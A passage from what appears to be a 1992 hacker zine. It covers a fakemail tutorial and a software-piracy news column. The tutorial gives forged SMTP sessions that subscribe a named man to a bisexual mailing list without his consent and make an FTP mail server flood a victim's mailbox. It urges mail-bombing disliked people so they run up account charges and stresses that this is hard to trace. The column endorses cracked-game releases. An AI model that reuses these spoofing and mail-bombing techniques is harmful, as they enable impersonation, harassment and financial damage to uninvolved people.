> To: <listserv@brownvm.brown.edu>

> Date: Thu, 06 Feb 92 12:00:00

> Title: Ohh, sign me up Puuuleeeze.

>

> subscribe BISEXU‑L Dale "Fist Me" Drew

> .

Now, according to this e‑mail path, you are telling the other computer that you received this letter from OPUS.TYMNET.COM, and it is being forwarded by your machine to BROWNVM.BROWN.EDU. Basically, you are stepping into the middle of the line and claiming you've been waiting there all this time. This is a legit method of sending e‑mail!

Originally, when sendmail was less automated, you had to list every computer that your mail had to move between in order for it to arrive. If you were computer ALPHA, you'd have to send e‑mail to account "joe" on computer GAMMA by this address:

> mail to: <beta!ceti!delta!epsilon!freddy!gamma!joe>

Notice that the account name goes last and the host names "lead" up to that account. The e‑mail will be routed directly to each machine until it finally reaches GAMMA. This is still required today, especially between networks like Internet and Bitnet ‑‑ where certain hosts are capable of sending mail between networks. This particular style of sending e‑mail is called "UUCP Style" routing.

Sometimes, hosts will use the forwarding UUCP style mail addresses in case the host has no concept of how to deal with a name address. Your machine simply routes the e‑mail to a second host which is capable of resolving the rest of the name. Although these machines are going out of style, they still exist.

The third reasonable case of where e‑mail will be routed between hosts is when, instead of having each computer waste individual time dealing with each piece of e‑mail that comes about, the computer gives the mail to a dedicated mailserver which will then deliver the mail. This is quite common all over the network ‑‑ especially due to the fact that the Internet is only a few T1 lines in comparison to the multitude of 9600 and 14.4K baud modems that everyone is so protective of people over‑using. Of course, this doesn't cause the address to be in UUCP format, but when it reaches the other end of the network, it'll be impossible to tell what method the letter used to get sent.

Okay, now we can send fairly reasonable electronic fakemail. This stuff can't easily be distinguished between regular e‑mail unless you either really botched it up (say, sending fakemail between two people on the same machine by way of 4 national hosts or something) or really had bad timing.

Let's now discuss the POWER of fakemail. Fakemail itself is basically a great way to fool people into thinking you are someone else. You could try to social engineer information out of people on a machine by fakemail, but at the same time, why not just hack the root password and use "root" to do it? This way you can get the reply to the mail as well. It doesn't seem reasonable to social engineer anything while you are root either. Who knows. Maybe a really great opportunity will pop up some day ‑‑ but until then, let's forget about dealing person‑to‑person with fakemail, and instead deal with person‑to‑machine.

There are many places on the Internet that respond to received electronic mail automatically. You have all of the Archie sites that will respond, all of the Internet/Bitnet LISTSERVs, and Bitmail FTP servers. Actually, there are several other servers, too, such as the diplomacy adjudicator. Unfortunately, this isn't anywhere nearly as annoying as what you can do with other servers.

First, let's cover LISTSERVs. As you saw above, I created a fakemail message that would sign up Mr. Dale Drew to the BISEXU‑L LISTSERV. This means that any of the "netnews" regarding bisexual behavior on the Internet would be sent directly to his mailbox. He would be on this list (which is public and accessible by anyone) and likewise be assumed to be a member of the network bisexual community.

This fakemail message would go all the way to the LISTSERV, it would register Mr. Dictator for the BISEXU‑L list, >DISCARD< my message, and, because it thinks that Dale Drew sent the message, it will go ahead and sign him up to receive all the bisexual information on the network.

And people wonder why I don't even give out my e‑mail address.

The complete list of all groups on the Internet is available in the file "list_of_lists" which is available almost everywhere so poke around wuarchive.wustl.edu or ftp.uu.net until you find it. You'll notice that there are several groups that are quite fanatic and would freak out nearly anybody who was suddenly signed up to one.

Ever notice how big mega‑companies like IBM squelch little people who try to make copies of their ideas? Even though you cannot "patent" an "idea," folks like IBM want you to believe they can. They send their "brute" squad of cheap lawyers to "legal‑fee‑to‑death" small firms. If you wanted to "nickel‑and‑dime" someone out of existence, try considering the following:

CompuServe is now taking electronic mail from the Internet. This is good. CompuServe charges for wasting too much of their drive space with stored e‑mail. This is bad. You can really freak out someone you don't like on CompuServe by signing them up to the Dungeons and Dragons list, complete with several megabytes of fluff per day. This is cool. They will then get charged hefty fines by CompuServe. That is fucked up. How the hell could they know?

CompuServe e‑mail addresses are userid@compuserve.com, but as the Internet users realize, they can't send commas (",") as e‑mail paths. Therefore, use a period in place of every comma. If your e‑mail address was 767,04821 on CompuServe then it would be 767.04821 for the Internet. CompuServe tends to "chop" most of the message headers that Internet creates out of the mail before it reaches the end user. This makes them particularly vulnerable to fakemail.

You'll have to check with your individual pay services, but I believe such groups as MCI Mail also have time limitations. Your typical non‑Internetknowing schmuck would never figure out how to sign off of some God‑awful fluff contained LISTSERV such as the Advanced Dungeons & Dragons list. The amount of damage you could cause in monetary value alone to an account would be horrendous.

Some groups charge for connection time to the Internet ‑‑ admittedly, the fees are reasonable ‑‑ I've seen the price at about $2 per hour for communications. However, late at night, you could cause massive e‑mail traffic on some poor sap's line that they might not catch. They don't have a way to shut this off, so they are basically screwed. Be WARY, though ‑‑ this sabotage could land you in deep shit. It isn't actually fraud, but it could be considered "unauthorized usage of equipment" and could get you a serious fine. However, if you are good enough, you won't get caught and the poor fucks will have to pay the fees themselves!

Now let's investigate short‑term VOLUME damage to an e‑mail address. There are several anonymous FTP sites that exist out there with a service known as BIT FTP. This means that a user from Bitnet, or one who just has e‑mail and no other network services, can still download files off of an FTP site. The "help" file on this is stored in Appendix C, regarding the usage of Digital's FTP mail server.

Basically, if you wanted to fool the FTP Mail Server into bombarding some poor slob with an ungodly huge amount of mail, try doing a regular "fakemail" on the guy, with the enclosed message packet:

> helo lycaeum.hfc.com

> mail from: <dale@opus.tymnet.com>

> rcpt to: <ftpmail@decwrl.dec.com>

> data

> Received: by lycaeum.hfc.com (5.12/3.7) id AA10992; Fri 9 Oct 92 12:00:00 > Message‑Id: <230.AA11891@lycaeum.hfc.com>

> To: <listserv@brownvm.brown.edu>

> Date: Fri, 09 Oct 92 12:00:00

> Title: Hey, I don't have THAT nifty program!

>

> reply dale@opus.tymnet.com

> connect wuarchive.wustl.edu anonymous fistme@opus.tymnet.com

> binary

> get mirrors/gnu/gcc‑2.3.2.tar.Z

> quit

> .

What is particularly nasty about this is that somewhere between 15 and 20 megabytes of messages are going to be dumped into this poor guy's account. All of the files will be uuencoded and broken down into separate messages! Instead of deleting just one file, there will be literally hundreds of messages to delete! Obnoxious! Nearly impossible to trace, too!

Part 2: E‑MAIL AROUND THE WORLD

Captain Crunch happened to make a telephone call around the world, which could have ushered in the age of phreak enlightenment ‑‑ after all, he proved that, through the telephone, you could "touch someone" anywhere you wanted around the world! Billions of people could be contacted.

I undoubtedly pissed off a great number of people trying to do this e‑mail trick ‑‑ having gotten automated complaints from many hosts. Apparently, every country has some form of NSA. This doesn't surprise me at all, I'm just somewhat amazed that entire HOSTS were disconnected during the times I used them for routers. Fortunately, I was able to switch computers faster than they were able to disconnect them.

In order to send the e‑mail, I couldn't send it through a direct path. What I had to do was execute UUCP style routing, meaning I told each host in the path to send the e‑mail to the next host in the path, etc., until the last machine was done. Unfortunately, the first machine I used for sending the e‑mail had a remarkably efficient router and resolved the fact that the target was indeed the destination. Therefore, I re‑altered the path to a machine sitting about, oh, two feet away from it. Those two feet are meaningless in this epic journey.

The originating host names have been altered as to conceal my identity. However, if we ever meet at a Con, I'll probably have the real print‑out of the results somewhere and you can verify its authenticity. Regardless, most of this same shit will work from just about any typical college campus Internet (and even Bitnet) connected machines.

In APPENDIX A, I've compiled a list of every foreign country that I could locate on the Internet. I figured it was relatively important to keep with the global program and pick a series of hosts to route through that would presumably require relatively short hops. I did this by using this list and trial and error (most of this information was procured from the Network Information Center, even though they deliberately went way the hell out of their way to make it difficult to get computers associated with foreign countries).

My ultimate choice of a path was:

lycaeum.hfc.com ‑‑ Origin, "middle" America. albert.gnu.ai.mit.edu ‑‑ Massachusetts, USA. isgate.is ‑‑ Iceland

chenas.inria.fr ‑‑ France

icnucevx.cnuce.cn.it ‑‑ Italy

sangram.ncst.ernet.in ‑‑ India waseda‑mail.waseda.ac.jp ‑‑ Japan

seattleu.edu ‑‑ Seattle

inferno.hfc.com ‑‑ Ultimate Destination

The e‑mail address came out to be:

isgate.is!chenas.inria.fr!icnucevx.cnuce.cn.it!sangram.ncst.ernet.in! waseda‑mail.waseda.ac.jp!seattleu.edu!inferno.hfc.com! rack@albert.gnu.ai.mit.edu

...meaning, first e‑mail albert.gnu.ai.mit.edu, and let it parse the name down a line, going to Iceland, then to France, etc. until it finally reaches the last host on the list before the name, which is the Inferno, and deposits the e‑mail at rack@inferno.hfc.com.

This takes a LONG time, folks. Every failure toward the end took on average of 8‑10 hours before the e‑mail was returned to me with the failure message. In one case, in fact, the e‑mail made it shore to shore and then came all the way back because it couldn't resolve the last hostname! That one made it (distance‑wise) all the way around the world and half again.

Here is the final e‑mail that I received (with dates, times, and numbers altered to squelch any attempt to track me):

> Return‑Path: <rack@lycaeum.hfc.com>

> Received: from sumax.seattleu.edu [192.48.211.120] by Lyceaum.HFC.Com ; 19 Dec 92 16:23:21 MST

> Received: from waseda‑mail.waseda.ac.jp by sumax.seattleu.edu with SMTP id > AA28431 (5.65a/IDA‑1.4.2 for rack@inferno.hfc.com); Sat, 19 Dec 92 > 14:26:01 ‑0800

> Received: from relay2.UU.NET by waseda‑mail.waseda.ac.jp (5.67+1.6W/2.8Wb) > id AA28431; Sun, 20 Dec 92 07:24:04 JST

> Return‑Path: <rack@lycaeum.hfc.com>

> Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay2.UU.NET with SMTP > (5.61/UUNET‑internet‑primary) id AA28431; Sat, 19 Dec 92 17:24:08 > 0500

> Received: from sangam.UUCP by uunet.uu.net with UUCP/RMAIL

> (queueing‑rmail) id 182330.3000; Sat, 19 Dec 1992 17:23:30 EST > Received: by sangam.ncst.ernet.in (4.1/SMI‑4.1‑MHS‑7.0)

> id AA28431; Sun, 20 Dec 92 03:50:19 IST

> From: rack@lycaeum.hfc.com

> Received: from shakti.ncst.ernet.in by saathi.ncst.ernet.in

> (5.61/Ultrix3.0‑C)

> id AA28431; Sun, 20 Dec 92 03:52:12 +0530

> Received: from saathi.ncst.ernet.in by shakti.ncst.ernet.in with SMTP > (16.6/16.2) id AA09700; Sun, 20 Dec 92 03:51:37 +0530

> Received: by saathi.ncst.ernet.in (5.61/Ultrix3.0‑C)

> id AA28431; Sun, 20 Dec 92 03:52:09 +0530

> Received: by sangam.ncst.ernet.in (4.1/SMI‑4.1‑MHS‑7.0)

> id AA28431; Sun, 20 Dec 92 03:48:24 IST

> Received: from ICNUCEVX.CNUCE.CNR.IT by relay1.UU.NET with SMTP > (5.61/UUNET‑internet‑primary) id AA28431; Sat, 19 Dec 92 17:20:23 > ‑0500

> Received: from chenas.inria.fr by ICNUCEVX.CNUCE.CNR.IT (PMDF #2961 ) id > <01GSIP122UOW000FBT@ICNUCEVX.CNUCE.CNR.IT>; Sun, 19 Dec 1992 23:14:29 MET > Received: from isgate.is by chenas.inria.fr (5.65c8d/92.02.29) via Fnet‑EUnet > id AA28431; Sun, 19 Dec 1992 23:19:58 +0100 (MET)

> Received: from albert.gnu.ai.mit.edu by isgate.is (5.65c8/ISnet/14‑10‑91); > Sat, 19 Dec 1992 22:19:50 GMT

> Received: from lycaeum.hfc.com by albert.gnu.ai.mit.edu (5.65/4.0) with > SMTP id <AA28431@albert.gnu.ai.mit.edu>; Sat, 19 Dec 92 17:19:36 ‑0500 > Received: by lycaeum.hfc.com (5.65/4.0) id <AA11368@lycaeum.hfc.com>; > Sat, 19 Dec 92 17:19:51 ‑0501

> Date: 19 Dec 1992 17:19:50 ‑0500 (EST)

> Subject: Global E‑Mail

> To: rack@inferno.hfc.com

> Message‑id: <9212192666.AA11368@lycaeum.hfc.com>

> Mime‑Version: 1.0

> Content‑Type: text/plain; charset=US‑ASCII

> Content‑Transfer‑Encoding: 7bit

> X‑Mailer: ELM [version 2.4 PL5]

> Content‑Length: 94

> X‑Charset: ASCII

> X‑Char‑Esc: 29

>

> This Electronic Mail has been completely around the world!

>

> (and isn't even a chain letter.)

========================================

APPENDIX A:

List of Countries on the Internet by Root Domain

(I tried to get a single mail router in each domain. The domains that don't have them are unavailable at my security clearance. The computer is your friend.)

.AQ New Zealand

.AR Argentina atina.ar

.AT Austria pythia.eduz.univie.ac.at

.BB Barbados

.BE Belgium ub4b.buug.be

.BG Bulgaria

.BO Bolivia unbol.bo

.BR Brazil fpsp.fapesp.br

.BS Bahamas

.BZ Belize

.CA Canada cs.ucb.ca

.CH Switzerland switch.ch

.CL Chile uchdcc.uchile.cl

.CN China ica.beijing.canet.cn

.CR Costa Rica huracan.cr

.CU Cuba

.DE Germany deins.informatik.uni‑dortmund.de

.DK Denmark dkuug.dk

.EC Ecuador ecuanex.ec

.EE Estonia kbfi.ee

.EG Egypt

.FI Finland funet.fi

.FJ Fiji

.FR France inria.inria.fr

.GB England

.GR Greece csi.forth.gr

.HK Hong Kong hp9000.csc.cuhk.hk

.HU Hungary sztaki.hu

.IE Ireland nova.ucd.ie

.IL Israel relay.huji.ac.il

.IN India shakti.ernet.in

.IS Iceland isgate.is

.IT Italy deccnaf.infn.it

.JM Jamaica

.JP Japan jp‑gate.wide.ad.jp

.KR South Korea kum.kaist.ac.kr

.LK Sri Lanka cse.mrt.ac.lk

.LT Lithuania ma‑mii.lt.su

.LV Latvia

.MX Mexico mtec1.mty.itesm.mx

.MY Malaysia rangkom.my

.NA Namibia

.NI Nicaragua uni.ni

.NL Netherlands sering.cwi.nl

.NO Norway ifi.uio.no

.NZ New Zealand waikato.ac.nz

.PE Peru desco.pe

.PG New Guinea ee.unitech.ac.pg

.PH Philippines

.PK Pakistan

.PL Poland

.PR Puerto Rico sun386‑gauss.pr

.PT Portugal ptifm2.ifm.rccn.pt

.PY Paraguay ledip.py

.SE Sweden sunic.sunet.se

.SG Singapore nuscc.nus.sg

.TH Thailand

.TN Tunisia spiky.rsinet.tn

.TR Turkey

.TT Trinidad & Tobago

.TW Taiwan twnmoe10.edu.tw

.UK United Kingdom ess.cs.ucl.ac.uk

.US United States isi.edu

.UY Uruguay seciu.uy

.VE Venezuela

.ZA South Africa hippo.ru.ac.za

.ZW Zimbabwe zimbix.uz.zw

========================================

APPENDIX B:

Basic SMTP Commands

> HELO <hostname> Tells mail daemon what machine is calling. This will be determined anyway, so omission doesn't mean anonymity.

> MAIL FROM: <path> Tells where the mail came from.

> RCPT TO: <path> Tells where the mail is going.

> DATA Command to start transmitting message.

> QUIT Quit mail daemon, disconnects socket.

> NOOP No Operation ‑‑ used for delays.

> HELP Gives list of commands ‑‑ sometimes disabled.

> VRFY Verifies if a path is valid on that machine.

> TICK Number of "ticks" from connection to present

("0001" is a typical straight connection).

========================================

APPENDIX C:

BIT‑FTP Help File

ftpmail@decwrl.dec.com (Digital FTP mail server)

Commands are:

reply <MAILADDR> Set reply address since headers are usually

wrong.

connect [HOST [USER [PASS]]] Defaults to gatekeeper.dec.com, anonymous. ascii Files grabbed are printable ASCII. binary Files grabbed are compressed or tar or both. compress Compress binaries using Lempel‑Ziv encoding. compact Compress binaries using Huffman encoding. uuencode Binary files will be mailed in uuencoded

format.

btoa Binary files will be mailed in btoa format. ls (or dir) PLACE Short (long) directory listing. get FILE Get a file and have it mailed to you. quit Terminate script, ignore rest of mail message

(use if you have a .signature or are a

VMSMAIL user).

Notes:

‑> You must give a "connect" command (default host is gatekeeper.dec.com, default user is anonymous, default password is your mail address). ‑> Binary files will not be compressed unless "compress" or "compact" command is given; use this if at all possible, it helps a lot. ‑> Binary files will always be formatted into printable ASCII with "btoa" or "uuencode" (default is "btoa").

‑> All retrieved files will be split into 60KB chunks and mailed. ‑> VMS/DOS/Mac versions of uudecode, atob, compress and compact are available, ask your LOCAL wizard about them.

‑> It will take ~1‑1/2 day for a request to be processed. Once the jobs has been accepted by the FTP daemon, you'll get a mail stating the fact that

Pirates Cove

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 5 of 13

Pirates Cove

By Rambone

Welcome back to Pirates Cove. News about software piracy, its effects, and the efforts of the software companies to put and end to it are now at an all time high. Additionally, there is an added interest among the popular media towards the other goings‑on in the piracy underworld. Additionally over the past few months there have been several major crackdowns around the world. Not all of the news is terribly recent, but a lot of people probably didn't hear about it at the time so read on and enjoy.

If you appreciate this column in Phrack, then also be sure to send a letter to "phracksub@stormking.com" and let them know. Thanks.

________________________________________

More Than $100,000 In Illegal Software Seized

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

WASHINGTON ‑‑ (BUSINESS WIRE) ‑‑ Illegal software valued in excess of $100,000 was seized from an electronic bulletin board computer system (BBS) headquartered in Baltimore, Maryland, marking the first U.S. case for the Business Software Alliance (BSA) against a BBS for pirating software.

The BSA previously initiated an enforcement campaign against illegal bulletin boards in Europe and is investigating illegal boards in Asia. As part of the U.S. seizure, more than $25,000 worth of hardware was confiscated in accordance with the court order, and the BBS, known as the APL, is no longer in operation.

Investigations conducted over the past several months found that, through the APL BBS, thousands of illegal copies have been made of various software programs. Plaintiffs in the case include six business software publishers: ALDUS, Autodesk, LOTUS Development, MICROSOFT, NOVELL, and WordPerfect. The action against APL was for allegedly allowing BBS users to upload and download copyrighted programs.

Nearly 500 software programs were available for copying through the APL BBS, an infringement of software publishers' copyright. In addition, BSA seized APL's business records which detail members' time on the BBS and programs uploaded and/or copied. BSA is currently reviewing these records for possible additional legal action against system users who may have illegally uploaded or downloaded copyrighted programs.

"Electronic bulletin boards create increasingly difficult problems in our efforts to combat piracy," according to Robert Holleyman, president of the BSA. "While bulletin boards are useful tools to enhance communication channels, they also provide easy access for users to illegally copy software," Holleyman explained.

Strict federal regulations prohibit the reproduction of copyrighted software. Legislation passed this year by the U.S. Congress contains provisions to increase the penalties against copyright infringers to up to five years imprisonment and a $250,000 fine.

The APL investigation, conducted by Software Security International on behalf of the BSA, concluded with a raid by Federal Marshals on October 1, 1992. In addition to the six business software publishers, the BSA action was taken on behalf of Nintendo.

Bulletin boards have grown in popularity over the past several years, totaling approximately 2000 in the United States alone. Through a modem, bulletin board users can easily communicate with other members. The BSA has recently stepped up its worldwide efforts to eradicate the illegal copying of software which occurs on some boards.

The BSA is an organization devoted to combating software theft. Its worldwide campaign encompasses education, public policy, and enforcement programs in more than 30 countries. The members of the BSA include: ALDUS, APPLE COMPUTER, Autodesk, LOTUS Development, MICROSOFT, NOVELL, and WordPerfect.

The BSA operates an Anti‑piracy Hotline (800‑688‑2721) for callers seeking information about software piracy or to report suspected incidents of software theft.

CONTACT: Diane Smiroldo, Business Software Alliance, (202)727‑7060

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Only The Beginning

~~~~~~~~~~~~~~~~~~

The bust of APL BBS had made unprecedented impacts in the pirate world because of the implications behind the actual arrest. Business Software Alliance (BSA), representing many major business software companies along with Nintendo, joined forces to hit APL very hard. They joined forces to permanently shut down APL and are, for the first time, trying to pursue the users that had an active role in the usage of the BBS.

Trying to figure out who had uploaded and downloaded files through this BBS and taking legal recourse against them is a very strong action and has never been done before. One of the major problem I see with this is how do they know if what the records show was the actual user or someone posing as another user? Also, how could they prove that an actual program was downloaded by an actual user and not by someone else using his account? What if one user had logged on one time, never called back, and someone else had hacked their account? I'm also sure a sysop has been known, on occasion, to "doctor" someone's account to not allow them to download when they have been leeching.

The points I bring up are valid as far as I am concerned and unless the Secret Service had logs and phone numbers of people actually logged on at the time, I don't see how they have a case. I'm sure they have a great case against the sysop and will pursue the case to the highest degree of the law, but if they attempt to arrest users, I foresee the taxpayers' money going straight down the drain.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

BSA Hits Europe

~~~~~~~~~~~~~~~

The Business Software Alliance reached their arms out across the Atlantic and landed in Germany. Along with Interpol and the local police, they proceeded to take down 80% of the boards in Berlin. One of the contributing factors in these busts was that the majority of the boards busted were also involved in toll fraud. Until recently, blue boxing was the predominate means of communication with the United States and other countries in Europe. When most of these sysops were arrested, they had been actively blue boxing on a regular basis. Unfortunately, many parts of Germany had already upgraded their phone system, and it became very risky to use a blue box. It didn't stop most people and they soon became easy targets for Interpol. The other means of LD usage for Germans was AT&T calling cards which now are very common. The local police along with the phone company gathered months of evidence before the city wide sweep of arrests.

The busts made a bigger impact in Europe than anyone would have imagined. Some of the bigger boards in Europe have been taken down by the sysops and many will never go back up. Many sysops have been arrested and fined large amounts of money that they will be paying off for a long time. BSA, along with local police and Interpol, has done enough damage in a few days that will change European Boards for a long time.

________________________________________

IBM: Free Disks For The Taking

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In a vain effort to increase sales, IBM decided to send out 21 high density diskettes to anyone who called. On these diskettes was a new beta copy of OS/2 Version 2.1. They were hoping to take a cheap way out by sending a few out to people who would install it and send in beta reports. What they got was thousands of people calling in when they heard the word who were promptly Fed Ex'ed the disks overnight. The beta was not the concern of most, just the diskettes that were in the package. The actual beta copy that was sent out was bug ridden anyway and was not of use on most systems.

When IBM finally woke up and figured out what was going on, they had already sent out thousands of copies. Some even requested multiple copies. IBM then proceeded to charge for the shipment and disks, but it was way too late, and they had gone over budget. Way to go IBM, no wonder your stock has plummeted to $55 a share.

________________________________________

Users Strike Back At U.S. Robotics

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Since 1987, U.S. Robotics (USR) has been a standard among sysops and many end users. With the loyal following also came terrible customer service and long delays in shipments. Their modems, being in as much demand as they are, soon showed the results of shortcuts in the manufacture of certain parts in some of the more popular modems. The most infamous instance of this happening was the Sportster model which was a V.32bis modem which could be bought at a much lower price than that of the Dual Standard. The catch was that they cut some corners and used that same communication board for both the Sportster and the Dual Standard. They assumed they could save money by using the same board on both modems. Boy were they wrong.

All that was done to the Sportster was to disable the HST protocol that would make it into a Dual. With the proper init string, one could turn a Sportster, ROM version 4.1, into a full Dual in the matter of seconds and have spent 1/3 of the price of a full Dual Standard.

This outraged USR when they found out. They first denied that it could be done. When they found out that it had gotten too wide‑spread and could not be stopped, they then proceeded to tell the public it was a copyright infringement to use the "bogus" init string and threatened to sue anyone who attempted to use it. Most people laughed at that idea and continued to use it while giving "the bird" to USR. Some vendors are now even trying to make a buck and sell Sportsters at a higher price, and some are even selling them as Duals.

Obviously, they have now discontinued making the Sportsters the cheap way and are now making two separate boards for both modems. The versions with the ROM 4.1 are still floating around, can be found almost anywhere, and will always have the capabilities to be run as a full Dual. Better watch out though. The USR police might come knocking on your door <g>.

________________________________________

Warez Da Scene?

~~~~~~~~~~~~~~~

Over the last 6 months there have been several changing of hands in the major pirate groups. One person who supplies them has bounced to 3 groups in the last four months. One group fell apart because of a lack of support from the major members, but is making a valiant comeback. And yet another has almost split into two like AT&T stock. We'll have to see what comes of that.

While only about 15% or so actually doing anything for the scene, the other 85% seem to complain and bitch. Either the crack doesn't work or someone forgot to put in the volume labels. Jesus, how much effort does it take to say, "Hey, thanks for putting this out, but...". The time and effort it takes to acquire the program, check to see if it needs to be cracked, package it, and have it sent out to the boards is time‑ and money‑consuming and gets very little appreciation by the majority of the users around the world.

Why not see some users send in donations to the group for the appreciation it takes to send the files out? Why not see more users volunteer to help courier the programs around? Help crack them? Make some cheats, or type of some docs? Be a part of the solution instead of the problem. It would create less headaches and gain more respect from the members who take the time and effort to make this all possible.

________________________________________

Review Of The Month

~~~~~~~~~~~~~~~~~~~

I usually type up a review of the best program I have seen since the last issue, but since I was so disappointed with this game, I have to say something about it.

______________________________________

|

| RELEASE INFORMATION

|______________________________________

|

| Supplied by : ACTION MAN & MUNCHIE ......................................

| Cracked by : HARD CORE .......................................

| Protection : Easy Password .......................................

| Date : 16th December 1992 (Still 14 days left!) .................. |

| Graphics : ALL .......................................

| Sound : ALL .......................................

| Game Size : 5 1.44Mb disks , Installation from floppies ............... |

|______________________________________

One of the most awaited games of the year showed up at my doorstep, just itching to be installed: F15‑]I[. I couldn't wait to get this installed on the hard drive and didn't care how much space it took up. I was informed during installation that the intro would take up over 2 megs of hard drive space, but I didn't care. I wanted to see it all. Once I booted it and saw the intro, I thought the game would be the best I had seen. Too bad the other 8 megs turned out to be a waste of hard drive space.

I started out in fast mode, getting right up in the skies. Too bad that's the only thing on the screen that I could recognize. Zooming down towards the coast, I noticed that it looked damn close to the land and, in fact, it might as well have been. The ocean consist of powder blue dots and had almost the same color consistency as the land. Not finding anything in the air to shoot at, I proceeded to shoot a missile at anything that I thought would blow up. This turned out to be just about everything, including bridges. Let a few gunshots loose on one and see a large fireworks display like you dropped a nuclear bomb on it.

Close to 3 hours later, I finally found a jet, got it into my sights and shot 3 missiles at it. A large explosion, another one, and then he flew past me without even a dent showing. I shot my last 2 at it, same result. Thus my conclusion: the Russians must have invincible planes. Either that or F‑15 ]I[ has some major bugs. I'll take a wild guess and say, hmm, bugs.

This game is not worth the box it comes in and I would not suggest anyone, outside of a blind person, from purchasing this. I hate ratings but I'll give it a 2/10. The 2 is for modem play, which is not bad, but not good enough.

________________________________________

Piracy's Illegal, But Not The Scourge It's Cracked Up To Be August 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By T.R. Reid and Brit Hume (Chicago Tribune)(Page 7)

The software industry has embarked on one of its periodic public relations campaigns to get people to believe it's being robbed blind by software pirates. Even The New York Times took the claims seriously and ran a front‑page story illustrated by a picture of a cheerful computer hacker wearing a Hawaiian shirt sitting in his basement surrounded by PCs and awash in piles of disks, many of them containing bootleg programs.

With a straight face, the Times reported the industry's claim that in 1990, the last year for which figures are available, programs worth $2.4 billion were pirated, an amount equal to nearly half the industry's total sales of $5.7 billion. In fact, the software industry has no way of knowing how much it lost to illegal copying, but the $2.4 billion figure is almost certainly rot. Here's why.

It is true that it's a snap to make an "illegal" copy of a computer program and equally true that the practice is rampant. You just put a disk in the drive, issue the copy command, and the computer does the rest.

But there is simply no way the software industry can estimate accurately how many illegal copies there are, and even if it could, it couldn't possibly determine how many of them represent lost sales. It does not follow that every time somebody makes a bootleg copy, the industry loses a sale. That would be true only if the software pirate would have paid for the program had he or she not been able to get it for free.

Indeed, some of those illegal copies undoubtedly lead to actual sales. Once users try a program, particularly a full‑scale application such as a word processor or database, and like it, they may decide they need the instruction book and want to be able to phone for help in using the program.

The only way to get those things is to buy the software. If that sounds pie‑in‑the‑sky, consider that an entire branch of the industry has developed around just that process. It's called shareware ‑‑ software that is offered free to try. If you like it, you are asked to buy it. In return, you get a bound manual and telephone support.

The word processor with which this column was written, PC‑Write, is such a program. So is the telecommunications program by which it was filed, ProComm. These programs were both developed by talented independent software developers who took advantage of the unprecedented opportunity the personal computer provided them. All they needed was a PC, a desk, a text editor and a special software tool called a "compiler." A compiler translates computer code written in a language such as Basic, C or Pascal into the binary code that the computer can process.

Once they had written their programs, they included a set of instructions in a text file and a message asking those who liked the software to pay a fee and get the benefits of being a "registered" user. They then passed out copies to friends, uploaded them to computer bulletin boards and made them available to software libraries. Everyone was encouraged to use the software ‑‑ and to pass it on.

The ease with which the programs can be copied was, far from a problem for these developers, the very means of distribution. It cost them nothing and they stood to gain if people thought their program good enough to use. And gain they have. Both PC‑Write and ProComm have made a lot of money as shareware, and advanced versions have now been released through commercial channels.

The point here is not that it's okay to pirate software. It's not, and it's particularly dishonest to use a stolen program for commercial purposes. The practice of buying one copy for an entire office and having everybody copy it and use the same manual is disgraceful. Software may be expensive, but it's a deductible business expense and worth the price.

At the same time, it's not such a bad thing to use an unauthorized copy as a way of trying out a program before you buy it. The shareware industry's success has proved that can even help sales.

________________________________________

No Hiding From The Software Police October 28, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Elizabeth Weise (The Seattle Times)(Page B9)(Associated Press)

One call to the Piracy Hotline is all it takes for the Software Police to come knocking at your computers. Parametrix Inc. of Seattle found that out last year when the Software Police, also known as the Software Publishers Association, showed up with a search warrant and a U.S marshal to audit their computers. The search turned up dozens of copies of unauthorized software programs and meant a penalty of $350,000 for Parametrix.

The SPA says too many companies "softlift" ‑‑ buying only one copy of a program they need and making copies for as many computers as they have.

It seems so easy ‑‑ and it's just as easy to get caught.

"It only takes one phone call to the 800 number to get the ball rolling. Anyone taking that chance is living on borrowed time," said Peter Beruk, litigation manager for the Washington D.C.‑based SPA. "You can run, but you can't hide." And the stakes are getting higher. A bill is before President Bush that would elevate commercial software piracy from a misdemeanor to a felony. The law would impose prison terms of up to five years and fines of up to $250,000 for anyone convicted for stealing at least 10 copies of a program, or more than $2,500 worth of software.

Those in the computer industry say softlifting will be hard to prevent unless programmers are better policed. AutoDesk Retail Products in Kirkland has met obstacles in educating its staff on the law. AutoDesk makes computer‑assisted drawing programs. "The problem is that you end up employing people who don't want to follow convention," AutoDesk manager John Davison said. "We hire hackers. To them it's not stealing, they just want to play with the programs. "You got a computer, you got a hacker, you got a problem." Bootlegging results in an estimated loss of $2.4 million to U.S. software publishers each year, Beruk said. That's out of annual sales of between $6 billion and $7 billion. "For every legal copy of a program sold, there's an unauthorized copy of it in use on an everyday basis," Beruk said. As SPA and its member companies see it, that's theft, plain and simple.

SPA was founded in 1984. One of its purposes: to enforce copyright infringement law for software manufacturers. Since then it has conducted 75 raids and filed about 300 lawsuits, Beruk said. Several of the larger raids have been in the Northwest. The SPA settled a copyright lawsuit against Olympia‑based U.S. Intelco for $50,000 in May. Last year, the University of Oregon Continuation Center in Eugene, Oregon, agreed to pay $130,000 and host a national conference on copyright law and software use as part of a negotiated settlement with SPA. The tip‑off call often comes to SPA's toll‑free Piracy Hotline. It's often disgruntled employees, or ex‑employees, reporting that the company is running illegal copies of software programs, Beruk said.

At Parametrix, an investigation backed up the initial report and SPA got a search warrant, Beruk said. President Wait Dalrymple said the company now does a quarterly inventory of each computer. The company brings in an independent company once a year to check for unauthorized programs.

Softlifting, Dalrymple said, can be an easy tangle to get into. "Our company had had extremely rapid growth coupled with similar growth in the number of computers we use," he said. "We had no policy regarding the use of our software and simply didn't control what was happening."

